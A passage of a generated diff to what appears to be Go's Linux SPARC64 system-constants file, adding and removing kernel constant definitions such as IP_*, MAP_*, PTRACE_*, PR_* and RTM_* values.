-- IP_IPSEC_POLICY = 0x10
-- IP_MAXPACKET = 0xffff
-- IP_MAX_MEMBERSHIPS = 0x14
-- IP_MF = 0x2000
-- IP_MINTTL = 0x15
-- IP_MSFILTER = 0x29
-- IP_MSS = 0x240
-- IP_MTU = 0xe
-- IP_MTU_DISCOVER = 0xa
-- IP_MULTICAST_ALL = 0x31
-- IP_MULTICAST_IF = 0x20
-- IP_MULTICAST_LOOP = 0x22
-- IP_MULTICAST_TTL = 0x21
-- IP_NODEFRAG = 0x16
-- IP_OFFMASK = 0x1fff
-- IP_OPTIONS = 0x4
-- IP_ORIGDSTADDR = 0x14
-- IP_PASSSEC = 0x12
-- IP_PKTINFO = 0x8
-- IP_PKTOPTIONS = 0x9
-- IP_PMTUDISC = 0xa
-- IP_PMTUDISC_DO = 0x2
-- IP_PMTUDISC_DONT = 0x0
-- IP_PMTUDISC_INTERFACE = 0x4
-- IP_PMTUDISC_OMIT = 0x5
-- IP_PMTUDISC_PROBE = 0x3
-- IP_PMTUDISC_WANT = 0x1
-- IP_RECVERR = 0xb
-- IP_RECVOPTS = 0x6
-- IP_RECVORIGDSTADDR = 0x14
-- IP_RECVRETOPTS = 0x7
-- IP_RECVTOS = 0xd
-- IP_RECVTTL = 0xc
-- IP_RETOPTS = 0x7
-- IP_RF = 0x8000
-- IP_ROUTER_ALERT = 0x5
-- IP_TOS = 0x1
-- IP_TRANSPARENT = 0x13
-- IP_TTL = 0x2
-- IP_UNBLOCK_SOURCE = 0x25
-- IP_UNICAST_IF = 0x32
-- IP_XFRM_POLICY = 0x11
-+ IOCTL_VM_SOCKETS_GET_LOCAL_CID = 0x200007b9
- ISIG = 0x1
-- ISTRIP = 0x20
- IUCLC = 0x200
-- IUTF8 = 0x4000
-- IXANY = 0x800
- IXOFF = 0x1000
- IXON = 0x400
-- LINUX_REBOOT_CMD_CAD_OFF = 0x0
-- LINUX_REBOOT_CMD_CAD_ON = 0x89abcdef
-- LINUX_REBOOT_CMD_HALT = 0xcdef0123
-- LINUX_REBOOT_CMD_KEXEC = 0x45584543
-- LINUX_REBOOT_CMD_POWER_OFF = 0x4321fedc
-- LINUX_REBOOT_CMD_RESTART = 0x1234567
-- LINUX_REBOOT_CMD_RESTART2 = 0xa1b2c3d4
-- LINUX_REBOOT_CMD_SW_SUSPEND = 0xd000fce2
-- LINUX_REBOOT_MAGIC1 = 0xfee1dead
-- LINUX_REBOOT_MAGIC2 = 0x28121969
-- LOCK_EX = 0x2
-- LOCK_NB = 0x4
-- LOCK_SH = 0x1
-- LOCK_UN = 0x8
-- MADV_DODUMP = 0x11
-- MADV_DOFORK = 0xb
-- MADV_DONTDUMP = 0x10
-- MADV_DONTFORK = 0xa
-- MADV_DONTNEED = 0x4
-- MADV_FREE = 0x8
-- MADV_HUGEPAGE = 0xe
-- MADV_HWPOISON = 0x64
-- MADV_MERGEABLE = 0xc
-- MADV_NOHUGEPAGE = 0xf
-- MADV_NORMAL = 0x0
-- MADV_RANDOM = 0x1
-- MADV_REMOVE = 0x9
-- MADV_SEQUENTIAL = 0x2
-- MADV_UNMERGEABLE = 0xd
-- MADV_WILLNEED = 0x3
- MAP_ANON = 0x20
- MAP_ANONYMOUS = 0x20
- MAP_DENYWRITE = 0x800
- MAP_EXECUTABLE = 0x1000
-- MAP_FILE = 0x0
-- MAP_FIXED = 0x10
- MAP_GROWSDOWN = 0x200
- MAP_HUGETLB = 0x40000
-- MAP_HUGE_MASK = 0x3f
-- MAP_HUGE_SHIFT = 0x1a
- MAP_LOCKED = 0x100
- MAP_NONBLOCK = 0x10000
- MAP_NORESERVE = 0x40
- MAP_POPULATE = 0x8000
-- MAP_PRIVATE = 0x2
- MAP_RENAME = 0x20
-- MAP_SHARED = 0x1
- MAP_STACK = 0x20000
-- MAP_TYPE = 0xf
-+ MAP_SYNC = 0x80000
- MCL_CURRENT = 0x2000
- MCL_FUTURE = 0x4000
- MCL_ONFAULT = 0x8000
-- MNT_DETACH = 0x2
-- MNT_EXPIRE = 0x4
-- MNT_FORCE = 0x1
-- MSG_BATCH = 0x40000
-- MSG_CMSG_CLOEXEC = 0x40000000
-- MSG_CONFIRM = 0x800
-- MSG_CTRUNC = 0x8
-- MSG_DONTROUTE = 0x4
-- MSG_DONTWAIT = 0x40
-- MSG_EOR = 0x80
-- MSG_ERRQUEUE = 0x2000
-- MSG_FASTOPEN = 0x20000000
-- MSG_FIN = 0x200
-- MSG_MORE = 0x8000
-- MSG_NOSIGNAL = 0x4000
-- MSG_OOB = 0x1
-- MSG_PEEK = 0x2
-- MSG_PROXY = 0x10
-- MSG_RST = 0x1000
-- MSG_SYN = 0x400
-- MSG_TRUNC = 0x20
-- MSG_TRYHARD = 0x4
-- MSG_WAITALL = 0x100
-- MSG_WAITFORONE = 0x10000
-- MS_ACTIVE = 0x40000000
-- MS_ASYNC = 0x1
-- MS_BIND = 0x1000
-- MS_DIRSYNC = 0x80
-- MS_INVALIDATE = 0x2
-- MS_I_VERSION = 0x800000
-- MS_KERNMOUNT = 0x400000
-- MS_LAZYTIME = 0x2000000
-- MS_MANDLOCK = 0x40
-- MS_MGC_MSK = 0xffff0000
-- MS_MGC_VAL = 0xc0ed0000
-- MS_MOVE = 0x2000
-- MS_NOATIME = 0x400
-- MS_NODEV = 0x4
-- MS_NODIRATIME = 0x800
-- MS_NOEXEC = 0x8
-- MS_NOSUID = 0x2
-- MS_NOUSER = -0x80000000
-- MS_POSIXACL = 0x10000
-- MS_PRIVATE = 0x40000
-- MS_RDONLY = 0x1
-- MS_REC = 0x4000
-- MS_RELATIME = 0x200000
-- MS_REMOUNT = 0x20
-- MS_RMT_MASK = 0x2800051
-- MS_SHARED = 0x100000
-- MS_SILENT = 0x8000
-- MS_SLAVE = 0x80000
-- MS_STRICTATIME = 0x1000000
-- MS_SYNC = 0x4
-- MS_SYNCHRONOUS = 0x10
-- MS_UNBINDABLE = 0x20000
-- NAME_MAX = 0xff
-- NETLINK_ADD_MEMBERSHIP = 0x1
-- NETLINK_AUDIT = 0x9
-- NETLINK_BROADCAST_ERROR = 0x4
-- NETLINK_CAP_ACK = 0xa
-- NETLINK_CONNECTOR = 0xb
-- NETLINK_CRYPTO = 0x15
-- NETLINK_DNRTMSG = 0xe
-- NETLINK_DROP_MEMBERSHIP = 0x2
-- NETLINK_ECRYPTFS = 0x13
-- NETLINK_FIB_LOOKUP = 0xa
-- NETLINK_FIREWALL = 0x3
-- NETLINK_GENERIC = 0x10
-- NETLINK_INET_DIAG = 0x4
-- NETLINK_IP6_FW = 0xd
-- NETLINK_ISCSI = 0x8
-- NETLINK_KOBJECT_UEVENT = 0xf
-- NETLINK_LISTEN_ALL_NSID = 0x8
-- NETLINK_LIST_MEMBERSHIPS = 0x9
-- NETLINK_NETFILTER = 0xc
-- NETLINK_NFLOG = 0x5
-- NETLINK_NO_ENOBUFS = 0x5
-- NETLINK_PKTINFO = 0x3
-- NETLINK_RDMA = 0x14
-- NETLINK_ROUTE = 0x0
-- NETLINK_RX_RING = 0x6
-- NETLINK_SCSITRANSPORT = 0x12
-- NETLINK_SELINUX = 0x7
-- NETLINK_SOCK_DIAG = 0x4
-- NETLINK_TX_RING = 0x7
-- NETLINK_UNUSED = 0x1
-- NETLINK_USERSOCK = 0x2
-- NETLINK_XFRM = 0x6
-- NL0 = 0x0
-- NL1 = 0x100
-- NLA_ALIGNTO = 0x4
-- NLA_F_NESTED = 0x8000
-- NLA_F_NET_BYTEORDER = 0x4000
-- NLA_HDRLEN = 0x4
-+ NFDBITS = 0x40
- NLDLY = 0x100
-- NLMSG_ALIGNTO = 0x4
-- NLMSG_DONE = 0x3
-- NLMSG_ERROR = 0x2
-- NLMSG_HDRLEN = 0x10
-- NLMSG_MIN_TYPE = 0x10
-- NLMSG_NOOP = 0x1
-- NLMSG_OVERRUN = 0x4
-- NLM_F_ACK = 0x4
-- NLM_F_APPEND = 0x800
-- NLM_F_ATOMIC = 0x400
-- NLM_F_CREATE = 0x400
-- NLM_F_DUMP = 0x300
-- NLM_F_DUMP_FILTERED = 0x20
-- NLM_F_DUMP_INTR = 0x10
-- NLM_F_ECHO = 0x8
-- NLM_F_EXCL = 0x200
-- NLM_F_MATCH = 0x200
-- NLM_F_MULTI = 0x2
-- NLM_F_REPLACE = 0x100
-- NLM_F_REQUEST = 0x1
-- NLM_F_ROOT = 0x100
- NOFLSH = 0x80
-- OCRNL = 0x8
-- OFDEL = 0x80
-- OFILL = 0x40
-+ NS_GET_NSTYPE = 0x2000b703
-+ NS_GET_OWNER_UID = 0x2000b704
-+ NS_GET_PARENT = 0x2000b702
-+ NS_GET_USERNS = 0x2000b701
- OLCUC = 0x2
- ONLCR = 0x4
-- ONLRET = 0x20
-- ONOCR = 0x10
-- OPOST = 0x1
-- O_ACCMODE = 0x3
- O_APPEND = 0x8
- O_ASYNC = 0x40
- O_CLOEXEC = 0x400000
-@@ -926,231 +143,67 @@ const (
- O_NOFOLLOW = 0x20000
- O_NONBLOCK = 0x4000
- O_PATH = 0x1000000
-- O_RDONLY = 0x0
-- O_RDWR = 0x2
- O_RSYNC = 0x802000
- O_SYNC = 0x802000
- O_TMPFILE = 0x2010000
- O_TRUNC = 0x400
-- O_WRONLY = 0x1
-- PACKET_ADD_MEMBERSHIP = 0x1
-- PACKET_AUXDATA = 0x8
-- PACKET_BROADCAST = 0x1
-- PACKET_COPY_THRESH = 0x7
-- PACKET_DROP_MEMBERSHIP = 0x2
-- PACKET_FANOUT = 0x12
-- PACKET_FANOUT_CBPF = 0x6
-- PACKET_FANOUT_CPU = 0x2
-- PACKET_FANOUT_DATA = 0x16
-- PACKET_FANOUT_EBPF = 0x7
-- PACKET_FANOUT_FLAG_DEFRAG = 0x8000
-- PACKET_FANOUT_FLAG_ROLLOVER = 0x1000
-- PACKET_FANOUT_HASH = 0x0
-- PACKET_FANOUT_LB = 0x1
-- PACKET_FANOUT_QM = 0x5
-- PACKET_FANOUT_RND = 0x4
-- PACKET_FANOUT_ROLLOVER = 0x3
-- PACKET_FASTROUTE = 0x6
-- PACKET_HDRLEN = 0xb
-- PACKET_HOST = 0x0
-- PACKET_KERNEL = 0x7
-- PACKET_LOOPBACK = 0x5
-- PACKET_LOSS = 0xe
-- PACKET_MR_ALLMULTI = 0x2
-- PACKET_MR_MULTICAST = 0x0
-- PACKET_MR_PROMISC = 0x1
-- PACKET_MR_UNICAST = 0x3
-- PACKET_MULTICAST = 0x2
-- PACKET_ORIGDEV = 0x9
-- PACKET_OTHERHOST = 0x3
-- PACKET_OUTGOING = 0x4
-- PACKET_QDISC_BYPASS = 0x14
-- PACKET_RECV_OUTPUT = 0x3
-- PACKET_RESERVE = 0xc
-- PACKET_ROLLOVER_STATS = 0x15
-- PACKET_RX_RING = 0x5
-- PACKET_STATISTICS = 0x6
-- PACKET_TIMESTAMP = 0x11
-- PACKET_TX_HAS_OFF = 0x13
-- PACKET_TX_RING = 0xd
-- PACKET_TX_TIMESTAMP = 0x10
-- PACKET_USER = 0x6
-- PACKET_VERSION = 0xa
-- PACKET_VNET_HDR = 0xf
- PARENB = 0x100
-- PARITY_CRC16_PR0 = 0x2
-- PARITY_CRC16_PR0_CCITT = 0x4
-- PARITY_CRC16_PR1 = 0x3
-- PARITY_CRC16_PR1_CCITT = 0x5
-- PARITY_CRC32_PR0_CCITT = 0x6
-- PARITY_CRC32_PR1_CCITT = 0x7
-- PARITY_DEFAULT = 0x0
-- PARITY_NONE = 0x1
-- PARMRK = 0x8
- PARODD = 0x200
- PENDIN = 0x4000
-- PRIO_PGRP = 0x1
-- PRIO_PROCESS = 0x0
-- PRIO_USER = 0x2
-- PROT_EXEC = 0x4
-- PROT_GROWSDOWN = 0x1000000
-- PROT_GROWSUP = 0x2000000
-- PROT_NONE = 0x0
-- PROT_READ = 0x1
-- PROT_WRITE = 0x2
-- PR_CAPBSET_DROP = 0x18
-- PR_CAPBSET_READ = 0x17
-- PR_CAP_AMBIENT = 0x2f
-- PR_CAP_AMBIENT_CLEAR_ALL = 0x4
-- PR_CAP_AMBIENT_IS_SET = 0x1
-- PR_CAP_AMBIENT_LOWER = 0x3
-- PR_CAP_AMBIENT_RAISE = 0x2
-- PR_ENDIAN_BIG = 0x0
-- PR_ENDIAN_LITTLE = 0x1
-- PR_ENDIAN_PPC_LITTLE = 0x2
-- PR_FPEMU_NOPRINT = 0x1
-- PR_FPEMU_SIGFPE = 0x2
-- PR_FP_EXC_ASYNC = 0x2
-- PR_FP_EXC_DISABLED = 0x0
-- PR_FP_EXC_DIV = 0x10000
-- PR_FP_EXC_INV = 0x100000
-- PR_FP_EXC_NONRECOV = 0x1
-- PR_FP_EXC_OVF = 0x20000
-- PR_FP_EXC_PRECISE = 0x3
-- PR_FP_EXC_RES = 0x80000
-- PR_FP_EXC_SW_ENABLE = 0x80
-- PR_FP_EXC_UND = 0x40000
-- PR_FP_MODE_FR = 0x1
-- PR_FP_MODE_FRE = 0x2
-- PR_GET_CHILD_SUBREAPER = 0x25
-- PR_GET_DUMPABLE = 0x3
-- PR_GET_ENDIAN = 0x13
-- PR_GET_FPEMU = 0x9
-- PR_GET_FPEXC = 0xb
-- PR_GET_FP_MODE = 0x2e
-- PR_GET_KEEPCAPS = 0x7
-- PR_GET_NAME = 0x10
-- PR_GET_NO_NEW_PRIVS = 0x27
-- PR_GET_PDEATHSIG = 0x2
-- PR_GET_SECCOMP = 0x15
-- PR_GET_SECUREBITS = 0x1b
-- PR_GET_THP_DISABLE = 0x2a
-- PR_GET_TID_ADDRESS = 0x28
-- PR_GET_TIMERSLACK = 0x1e
-- PR_GET_TIMING = 0xd
-- PR_GET_TSC = 0x19
-- PR_GET_UNALIGN = 0x5
-- PR_MCE_KILL = 0x21
-- PR_MCE_KILL_CLEAR = 0x0
-- PR_MCE_KILL_DEFAULT = 0x2
-- PR_MCE_KILL_EARLY = 0x1
-- PR_MCE_KILL_GET = 0x22
-- PR_MCE_KILL_LATE = 0x0
-- PR_MCE_KILL_SET = 0x1
-- PR_MPX_DISABLE_MANAGEMENT = 0x2c
-- PR_MPX_ENABLE_MANAGEMENT = 0x2b
-- PR_SET_CHILD_SUBREAPER = 0x24
-- PR_SET_DUMPABLE = 0x4
-- PR_SET_ENDIAN = 0x14
-- PR_SET_FPEMU = 0xa
-- PR_SET_FPEXC = 0xc
-- PR_SET_FP_MODE = 0x2d
-- PR_SET_KEEPCAPS = 0x8
-- PR_SET_MM = 0x23
-- PR_SET_MM_ARG_END = 0x9
-- PR_SET_MM_ARG_START = 0x8
-- PR_SET_MM_AUXV = 0xc
-- PR_SET_MM_BRK = 0x7
-- PR_SET_MM_END_CODE = 0x2
-- PR_SET_MM_END_DATA = 0x4
-- PR_SET_MM_ENV_END = 0xb
-- PR_SET_MM_ENV_START = 0xa
-- PR_SET_MM_EXE_FILE = 0xd
-- PR_SET_MM_MAP = 0xe
-- PR_SET_MM_MAP_SIZE = 0xf
-- PR_SET_MM_START_BRK = 0x6
-- PR_SET_MM_START_CODE = 0x1
-- PR_SET_MM_START_DATA = 0x3
-- PR_SET_MM_START_STACK = 0x5
-- PR_SET_NAME = 0xf
-- PR_SET_NO_NEW_PRIVS = 0x26
-- PR_SET_PDEATHSIG = 0x1
-- PR_SET_PTRACER = 0x59616d61
-- PR_SET_PTRACER_ANY = -0x1
-- PR_SET_SECCOMP = 0x16
-- PR_SET_SECUREBITS = 0x1c
-- PR_SET_THP_DISABLE = 0x29
-- PR_SET_TIMERSLACK = 0x1d
-- PR_SET_TIMING = 0xe
-- PR_SET_TSC = 0x1a
-- PR_SET_UNALIGN = 0x6
-- PR_TASK_PERF_EVENTS_DISABLE = 0x1f
-- PR_TASK_PERF_EVENTS_ENABLE = 0x20
-- PR_TIMING_STATISTICAL = 0x0
-- PR_TIMING_TIMESTAMP = 0x1
-- PR_TSC_ENABLE = 0x1
-- PR_TSC_SIGSEGV = 0x2
-- PR_UNALIGN_NOPRINT = 0x1
-- PR_UNALIGN_SIGBUS = 0x2
-- PTRACE_ATTACH = 0x10
-- PTRACE_CONT = 0x7
-- PTRACE_DETACH = 0x11
-- PTRACE_EVENT_CLONE = 0x3
-- PTRACE_EVENT_EXEC = 0x4
-- PTRACE_EVENT_EXIT = 0x6
-- PTRACE_EVENT_FORK = 0x1
-- PTRACE_EVENT_SECCOMP = 0x7
-- PTRACE_EVENT_STOP = 0x80
-- PTRACE_EVENT_VFORK = 0x2
-- PTRACE_EVENT_VFORK_DONE = 0x5
-- PTRACE_GETEVENTMSG = 0x4201
-+ PERF_EVENT_IOC_DISABLE = 0x20002401
-+ PERF_EVENT_IOC_ENABLE = 0x20002400
-+ PERF_EVENT_IOC_ID = 0x40082407
-+ PERF_EVENT_IOC_MODIFY_ATTRIBUTES = 0x8008240b
-+ PERF_EVENT_IOC_PAUSE_OUTPUT = 0x80042409
-+ PERF_EVENT_IOC_PERIOD = 0x80082404
-+ PERF_EVENT_IOC_QUERY_BPF = 0xc008240a
-+ PERF_EVENT_IOC_REFRESH = 0x20002402
-+ PERF_EVENT_IOC_RESET = 0x20002403
-+ PERF_EVENT_IOC_SET_BPF = 0x80042408
-+ PERF_EVENT_IOC_SET_FILTER = 0x80082406
-+ PERF_EVENT_IOC_SET_OUTPUT = 0x20002405
-+ PPPIOCATTACH = 0x8004743d
-+ PPPIOCATTCHAN = 0x80047438
-+ PPPIOCCONNECT = 0x8004743a
-+ PPPIOCDETACH = 0x8004743c
-+ PPPIOCDISCONN = 0x20007439
-+ PPPIOCGASYNCMAP = 0x40047458
-+ PPPIOCGCHAN = 0x40047437
-+ PPPIOCGDEBUG = 0x40047441
-+ PPPIOCGFLAGS = 0x4004745a
-+ PPPIOCGIDLE = 0x4010743f
-+ PPPIOCGIDLE32 = 0x4008743f
-+ PPPIOCGIDLE64 = 0x4010743f
-+ PPPIOCGL2TPSTATS = 0x40487436
-+ PPPIOCGMRU = 0x40047453
-+ PPPIOCGRASYNCMAP = 0x40047455
-+ PPPIOCGUNIT = 0x40047456
-+ PPPIOCGXASYNCMAP = 0x40207450
-+ PPPIOCSACTIVE = 0x80107446
-+ PPPIOCSASYNCMAP = 0x80047457
-+ PPPIOCSCOMPRESS = 0x8010744d
-+ PPPIOCSDEBUG = 0x80047440
-+ PPPIOCSFLAGS = 0x80047459
-+ PPPIOCSMAXCID = 0x80047451
-+ PPPIOCSMRRU = 0x8004743b
-+ PPPIOCSMRU = 0x80047452
-+ PPPIOCSNPMODE = 0x8008744b
-+ PPPIOCSPASS = 0x80107447
-+ PPPIOCSRASYNCMAP = 0x80047454
-+ PPPIOCSXASYNCMAP = 0x8020744f
-+ PPPIOCXFERUNIT = 0x2000744e
-+ PR_SET_PTRACER_ANY = 0xffffffffffffffff
- PTRACE_GETFPAREGS = 0x14
- PTRACE_GETFPREGS = 0xe
- PTRACE_GETFPREGS64 = 0x19
-- PTRACE_GETREGS = 0xc
- PTRACE_GETREGS64 = 0x16
-- PTRACE_GETREGSET = 0x4204
-- PTRACE_GETSIGINFO = 0x4202
-- PTRACE_GETSIGMASK = 0x420a
-- PTRACE_INTERRUPT = 0x4207
-- PTRACE_KILL = 0x8
-- PTRACE_LISTEN = 0x4208
-- PTRACE_O_EXITKILL = 0x100000
-- PTRACE_O_MASK = 0x3000ff
-- PTRACE_O_SUSPEND_SECCOMP = 0x200000
-- PTRACE_O_TRACECLONE = 0x8
-- PTRACE_O_TRACEEXEC = 0x10
-- PTRACE_O_TRACEEXIT = 0x40
-- PTRACE_O_TRACEFORK = 0x2
-- PTRACE_O_TRACESECCOMP = 0x80
-- PTRACE_O_TRACESYSGOOD = 0x1
-- PTRACE_O_TRACEVFORK = 0x4
-- PTRACE_O_TRACEVFORKDONE = 0x20
-- PTRACE_PEEKDATA = 0x2
-- PTRACE_PEEKSIGINFO = 0x4209
-- PTRACE_PEEKSIGINFO_SHARED = 0x1
-- PTRACE_PEEKTEXT = 0x1
-- PTRACE_PEEKUSR = 0x3
-- PTRACE_POKEDATA = 0x5
-- PTRACE_POKETEXT = 0x4
-- PTRACE_POKEUSR = 0x6
- PTRACE_READDATA = 0x10
- PTRACE_READTEXT = 0x12
-- PTRACE_SECCOMP_GET_FILTER = 0x420c
-- PTRACE_SEIZE = 0x4206
- PTRACE_SETFPAREGS = 0x15
- PTRACE_SETFPREGS = 0xf
- PTRACE_SETFPREGS64 = 0x1a
-- PTRACE_SETOPTIONS = 0x4200
-- PTRACE_SETREGS = 0xd
- PTRACE_SETREGS64 = 0x17
-- PTRACE_SETREGSET = 0x4205
-- PTRACE_SETSIGINFO = 0x4203
-- PTRACE_SETSIGMASK = 0x420b
-- PTRACE_SINGLESTEP = 0x9
- PTRACE_SPARC_DETACH = 0xb
-- PTRACE_SYSCALL = 0x18
-- PTRACE_TRACEME = 0x0
- PTRACE_WRITEDATA = 0x11
- PTRACE_WRITETEXT = 0x13
- PT_FP = 0x48
-@@ -1202,329 +255,98 @@ const (
- PT_WIM = 0x10
- PT_Y = 0xc
- RLIMIT_AS = 0x9
-- RLIMIT_CORE = 0x4
-- RLIMIT_CPU = 0x0
-- RLIMIT_DATA = 0x2
-- RLIMIT_FSIZE = 0x1
-+ RLIMIT_MEMLOCK = 0x8
- RLIMIT_NOFILE = 0x6
-- RLIMIT_STACK = 0x3
-- RLIM_INFINITY = -0x1
-- RTAX_ADVMSS = 0x8
-- RTAX_CC_ALGO = 0x10
-- RTAX_CWND = 0x7
-- RTAX_FEATURES = 0xc
-- RTAX_FEATURE_ALLFRAG = 0x8
-- RTAX_FEATURE_ECN = 0x1
-- RTAX_FEATURE_MASK = 0xf
-- RTAX_FEATURE_SACK = 0x2
-- RTAX_FEATURE_TIMESTAMP = 0x4
-- RTAX_HOPLIMIT = 0xa
-- RTAX_INITCWND = 0xb
-- RTAX_INITRWND = 0xe
-- RTAX_LOCK = 0x1
-- RTAX_MAX = 0x10
-- RTAX_MTU = 0x2
-- RTAX_QUICKACK = 0xf
-- RTAX_REORDERING = 0x9
-- RTAX_RTO_MIN = 0xd
-- RTAX_RTT = 0x4
-- RTAX_RTTVAR = 0x5
-- RTAX_SSTHRESH = 0x6
-- RTAX_UNSPEC = 0x0
-- RTAX_WINDOW = 0x3
-- RTA_ALIGNTO = 0x4
-- RTA_MAX = 0x18
-- RTCF_DIRECTSRC = 0x4000000
-- RTCF_DOREDIRECT = 0x1000000
-- RTCF_LOG = 0x2000000
-- RTCF_MASQ = 0x400000
-- RTCF_NAT = 0x800000
-- RTCF_VALVE = 0x200000
-- RTF_ADDRCLASSMASK = 0xf8000000
-- RTF_ADDRCONF = 0x40000
-- RTF_ALLONLINK = 0x20000
-- RTF_BROADCAST = 0x10000000
-- RTF_CACHE = 0x1000000
-- RTF_DEFAULT = 0x10000
-- RTF_DYNAMIC = 0x10
-- RTF_FLOW = 0x2000000
-- RTF_GATEWAY = 0x2
-- RTF_HOST = 0x4
-- RTF_INTERFACE = 0x40000000
-- RTF_IRTT = 0x100
-- RTF_LINKRT = 0x100000
-- RTF_LOCAL = 0x80000000
-- RTF_MODIFIED = 0x20
-- RTF_MSS = 0x40
-- RTF_MTU = 0x40
-- RTF_MULTICAST = 0x20000000
-- RTF_NAT = 0x8000000
-- RTF_NOFORWARD = 0x1000
-- RTF_NONEXTHOP = 0x200000
-- RTF_NOPMTUDISC = 0x4000
-- RTF_POLICY = 0x4000000
-- RTF_REINSTATE = 0x8
-- RTF_REJECT = 0x200
-- RTF_STATIC = 0x400
-- RTF_THROW = 0x2000
-- RTF_UP = 0x1
-- RTF_WINDOW = 0x80
-- RTF_XRESOLVE = 0x800
-- RTM_BASE = 0x10
-- RTM_DELACTION = 0x31
-- RTM_DELADDR = 0x15
-- RTM_DELADDRLABEL = 0x49
-- RTM_DELLINK = 0x11
-- RTM_DELMDB = 0x55
-- RTM_DELNEIGH = 0x1d
-- RTM_DELNSID = 0x59
-- RTM_DELQDISC = 0x25
-- RTM_DELROUTE = 0x19
-- RTM_DELRULE = 0x21
-- RTM_DELTCLASS = 0x29
-- RTM_DELTFILTER = 0x2d
-- RTM_F_CLONED = 0x200
-- RTM_F_EQUALIZE = 0x400
-- RTM_F_LOOKUP_TABLE = 0x1000
-- RTM_F_NOTIFY = 0x100
-- RTM_F_PREFIX = 0x800
-- RTM_GETACTION = 0x32
-- RTM_GETADDR = 0x16
-- RTM_GETADDRLABEL = 0x4a
-- RTM_GETANYCAST = 0x3e
-- RTM_GETDCB = 0x4e
-- RTM_GETLINK = 0x12
-- RTM_GETMDB = 0x56
-- RTM_GETMULTICAST = 0x3a
-- RTM_GETNEIGH = 0x1e
-- RTM_GETNEIGHTBL = 0x42
-- RTM_GETNETCONF = 0x52
-- RTM_GETNSID = 0x5a
-- RTM_GETQDISC = 0x26
-- RTM_GETROUTE = 0x1a
-- RTM_GETRULE = 0x22
-- RTM_GETSTATS = 0x5e
-- RTM_GETTCLASS = 0x2a
-- RTM_GETTFILTER = 0x2e
-- RTM_MAX = 0x5f
-- RTM_NEWACTION = 0x30
-- RTM_NEWADDR = 0x14
-- RTM_NEWADDRLABEL = 0x48
-- RTM_NEWLINK = 0x10
-- RTM_NEWMDB = 0x54
-- RTM_NEWNDUSEROPT = 0x44
-- RTM_NEWNEIGH = 0x1c
-- RTM_NEWNEIGHTBL = 0x40
-- RTM_NEWNETCONF = 0x50
-- RTM_NEWNSID = 0x58
-- RTM_NEWPREFIX = 0x34
-- RTM_NEWQDISC = 0x24
-- RTM_NEWROUTE = 0x18
-- RTM_NEWRULE = 0x20
-- RTM_NEWSTATS = 0x5c
-- RTM_NEWTCLASS = 0x28
-- RTM_NEWTFILTER = 0x2c
-- RTM_NR_FAMILIES = 0x14
-- RTM_NR_MSGTYPES = 0x50
-- RTM_SETDCB = 0x4f
-- RTM_SETLINK = 0x13
-- RTM_SETNEIGHTBL = 0x43
-- RTNH_ALIGNTO = 0x4
-- RTNH_COMPARE_MASK = 0x11
-- RTNH_F_DEAD = 0x1
-- RTNH_F_LINKDOWN = 0x10
-- RTNH_F_OFFLOAD = 0x8
-- RTNH_F_ONLINK = 0x4
-- RTNH_F_PERVASIVE = 0x2
-- RTN_MAX = 0xb
-- RTPROT_BABEL = 0x2a
-- RTPROT_BIRD = 0xc
-- RTPROT_BOOT = 0x3
-- RTPROT_DHCP = 0x10
-- RTPROT_DNROUTED = 0xd
-- RTPROT_GATED = 0x8
-- RTPROT_KERNEL = 0x2
-- RTPROT_MROUTED = 0x11
-- RTPROT_MRT = 0xa
-- RTPROT_NTK = 0xf
-- RTPROT_RA = 0x9
-- RTPROT_REDIRECT = 0x1
-- RTPROT_STATIC = 0x4
-- RTPROT_UNSPEC = 0x0
-- RTPROT_XORP = 0xe
-- RTPROT_ZEBRA = 0xb
-- RT_CLASS_DEFAULT = 0xfd
-- RT_CLASS_LOCAL = 0xff
-- RT_CLASS_MAIN = 0xfe
-- RT_CLASS_MAX = 0xff
-- RT_CLASS_UNSPEC = 0x0
-- RUSAGE_CHILDREN = -0x1
-- RUSAGE_SELF = 0x0
-- RUSAGE_THREAD = 0x1
-- SCM_CREDENTIALS = 0x2
-- SCM_RIGHTS = 0x1
-- SCM_TIMESTAMP = 0x1d
-+ RLIMIT_NPROC = 0x7
-+ RLIMIT_RSS = 0x5
-+ RNDADDENTROPY = 0x80085203
-+ RNDADDTOENTCNT = 0x80045201
-+ RNDCLEARPOOL = 0x20005206
-+ RNDGETENTCNT = 0x40045200
-+ RNDGETPOOL = 0x40085202
-+ RNDRESEEDCRNG = 0x20005207
-+ RNDZAPENTCNT = 0x20005204
-+ RTC_AIE_OFF = 0x20007002
-+ RTC_AIE_ON = 0x20007001
-+ RTC_ALM_READ = 0x40247008
-+ RTC_ALM_SET = 0x80247007
-+ RTC_EPOCH_READ = 0x4008700d
-+ RTC_EPOCH_SET = 0x8008700e
-+ RTC_IRQP_READ = 0x4008700b
-+ RTC_IRQP_SET = 0x8008700c
-+ RTC_PIE_OFF = 0x20007006
-+ RTC_PIE_ON = 0x20007005
-+ RTC_PLL_GET = 0x40207011
-+ RTC_PLL_SET = 0x80207012
-+ RTC_RD_TIME = 0x40247009
-+ RTC_SET_TIME = 0x8024700a
-+ RTC_UIE_OFF = 0x20007004
-+ RTC_UIE_ON = 0x20007003
-+ RTC_VL_CLR = 0x20007014
-+ RTC_VL_READ = 0x40047013
-+ RTC_WIE_OFF = 0x20007010
-+ RTC_WIE_ON = 0x2000700f
-+ RTC_WKALM_RD = 0x40287010
-+ RTC_WKALM_SET = 0x8028700f
- SCM_TIMESTAMPING = 0x23
-+ SCM_TIMESTAMPING_OPT_STATS = 0x38
-+ SCM_TIMESTAMPING_PKTINFO = 0x3c
- SCM_TIMESTAMPNS = 0x21
-+ SCM_TXTIME = 0x3f
- SCM_WIFI_STATUS = 0x25
-- SHUT_RD = 0x0
-- SHUT_RDWR = 0x2
-- SHUT_WR = 0x1
-- SIOCADDDLCI = 0x8980
-- SIOCADDMULTI = 0x8931
-- SIOCADDRT = 0x890b
-+ SFD_CLOEXEC = 0x400000
-+ SFD_NONBLOCK = 0x4000
- SIOCATMARK = 0x8905
-- SIOCBONDCHANGEACTIVE = 0x8995
-- SIOCBONDENSLAVE = 0x8990
-- SIOCBONDINFOQUERY = 0x8994
-- SIOCBONDRELEASE = 0x8991
-- SIOCBONDSETHWADDR = 0x8992
-- SIOCBONDSLAVEINFOQUERY = 0x8993
-- SIOCBRADDBR = 0x89a0
-- SIOCBRADDIF = 0x89a2
-- SIOCBRDELBR = 0x89a1
-- SIOCBRDELIF = 0x89a3
-- SIOCDARP = 0x8953
-- SIOCDELDLCI = 0x8981
-- SIOCDELMULTI = 0x8932
-- SIOCDELRT = 0x890c
-- SIOCDEVPRIVATE = 0x89f0
